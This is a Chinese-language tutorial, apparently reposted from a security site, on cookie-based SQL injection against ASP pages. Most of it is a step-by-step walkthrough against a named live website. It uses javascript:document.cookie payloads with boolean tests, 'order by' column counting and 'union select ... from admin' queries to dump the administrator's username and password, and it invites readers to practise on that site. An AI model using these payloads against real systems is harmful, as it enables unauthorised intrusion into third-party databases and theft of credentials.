cookie注入原理詳解(一)


那我們還是圍繞以下幾個問題來看看cookie注入:

1.什么是cookie注入?

2.為什么要cookie注入?

3.怎樣cookie注入?

1.什么是cookie注入?

  ♦cookie注入的原理是:就要修改cookie的值,

  ♦cookie注入其原理也和平時的注入一樣,只不過說我們是將提交的參數已cookie方式提交了,而一般的注入我們是使用get或者post方式提交,get方式提交就是直接在網址后面加上需要注入的語句,post則是通過表單方式,get和post的不同之處就在於一個我們可以通過IE地址欄處看到我們提交的參數,而另外一個卻不能。

  ♦相對post和get方式注入來說,cookie注入就要稍微繁瑣一些了,要進行cookie注入,我們首先就要修改cookie,這里就需要使用到Javascript語言了。另外cookie注入的形

  ♦成有兩個必須條件,

    條件1是:程序對get和post方式提交的數據進行了過濾,但未對cookie提交的數據庫進行過濾。

    條件2是:在條件1的基礎上還需要程序對提交數據獲取方式是直接request("xxx")的方式,未指明使用request對象的具體方法進行獲取,也就是說用request這個方法的時候獲取的參數可以是是在URL后面的參數也可以是cookie里面的參數這里沒有做篩選,之后的原理就像我們的sql注入一樣了。

2.為什么要cookie注入?

  ♦主要是看看程序員有沒有在cookie中做了一些過濾,我們有沒有可趁之機。

3.怎樣cookie注入?

  cookie注入分為以下幾個階段:

  1. 判斷是不是注入點

  2.得到字段總數

  3.查選表名

  4..查選列名

  5.脫褲(就是得到我們想得到列名的值)

我們先理解一下這幾個概念:

javascript:alert(document.cookie="id="+escape("284"))
   document.cookie:表示當前瀏覽器中的cookie變量   alert():表示彈出一個對話框,在該對話框中單擊“確定”按鈕確認信息。   escape():該函數用於對字符串進行編碼。   cookie注入的原理在於更改本地的cookie,從而利用cookie來提交非法語句。   cookie注入原理

這就是改寫cookie的值。

 

1. 判斷是不是注入點

  ♦下面還是具體拿個實例來給大家演示下,目標站:http://www.2cto.com /Products_show.asp?id=284,同時也是注入點。我們首先要檢測下按照平時的方式注入,在網址后面加 and 1=1。

  ♦可見是使用了防注入系統的,但是目前我們是使用get方式提交的參數,那現在我們將“id=284”這個參數使用cookie提交看看程序對數據接收是否直接使用 request("xx")的方式?

  操作步驟:

    1.要更改成cookie方式提交,我們首先要訪問正常的頁面,即是:http://www.2cto.com /Products_show.asp?id=284,等頁面完全打開之后

    2.我們將IE地址欄清空

    3.然后寫上:javascript:alert(document.cookie="id="+escape("284")); 這里的“id=”便是“Products_show.asp?id=284”中的“id=”,“escape("284")”中的“284”是“Products_show.asp?id=284”中的“id=284”了,這兩處要根據實際情況來定義。

    4.寫完之后按下回車網頁中會彈出以下對話框:

    

    5.點擊頁面上出現的確定框。

    ♦驗證是否改好了cookie:現在更改好了cookie后我們就要試下能不能正常訪問了,現在在另外一個窗口中我們打開以下地址:http://www.2cto.com /Products_show.asp? 既是將“id=284”去掉后的,然后看是否能正常訪問。

    

  可見訪問之后的頁面與訪問http://www.2cto.com /Products_show.asp?id=284的時候是一樣的,這樣就說明程序在使用request對象獲取數據的時候並未指明具體使用什么方法來獲取,而是直接使用request("xx")的方式。現在cookie形成的一個重要因素已經明確了,接下來我們測試下能否提交特殊字符,看程序是否對數據進行過濾。

♦接下來就是常規步驟了:

  我們再回到剛才更改cookie的頁面,然后在IE地址欄處填寫javascript:alert(document.cookie="id="+escape("284 and 1=1")); 回車后再去http://www.2cto.com /Products_show.asp?頁面刷新,看頁面是否正常,如果正常我們再提交javascript:alert(document.cookie="id="+escape("284 and 1=2")); 然后再去刷新,這個時候就會看見出錯了

  

 

2.得到字段總數

  很明顯就能看到錯誤了,而且產品內容也米有顯示,到此便可以確定該頁面能使用cookie注入了,接下來來的利用過程就和普通注入一樣了。我們可以使用union聯合查詢爆出管理員的賬號和密碼,但前提是需要知道管理員的表名和字段名,不過我們可以通過猜解。

  首先來使用order by 語句判斷出當前執行數據庫查詢的表的字段數,我們提交:javascript:alert(document.cookie="id="+escape("284 order by 1")); 然會正常,表示可以使用order by語句,如果錯誤的話可能是不能使用order by來猜解字段數了,拿就需要直接union select 一個一個的試了。然后提交:javascript:alert(document.cookie="id="+escape("284 order by 10")); 如果還返回正常就說明字段數在10以上,我們一次類推直到猜解出正確的字段數,比如這里我提交到了21的時候去刷新頁面出現錯誤,然后提交20的時候去刷新頁面就正常了,就說明字段數是20.

 

3.得到表名

  ♦接下來我們提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage")); 發現有錯誤,我們再提交javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));

發現返回正常頁面:

  ♦看到熟悉的畫面了吧,這就表示網站數據庫存在admin這個表,因我們之前一次提交的是javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage"));,數據庫中不存在mange這個表,自然就出錯了,使用更換from 處可以來猜解表明,

 

4.查選列名並脫褲(就是得到我們想得到列名的值)

  ♦那么現在我們在6和17的地方試試username和password看看提交后是否出錯,如果出錯那么就表示不存在username或者password字段。我們提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));

  

  ♦可見,原來顯示6和17的地方現在爆出了管理員的賬號和密碼了,不過這個密碼破不出來,大家可以自己拿網站去練練。總的說來cookie注入和普通注入是一樣的,只不過是在提交注入語句的過程不一樣而已。如果對普通注入的原理又說了解的話,那么cookie注入也就不難了,在這里我們可以用md5來解密一下,這個到后面我們再講一下。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM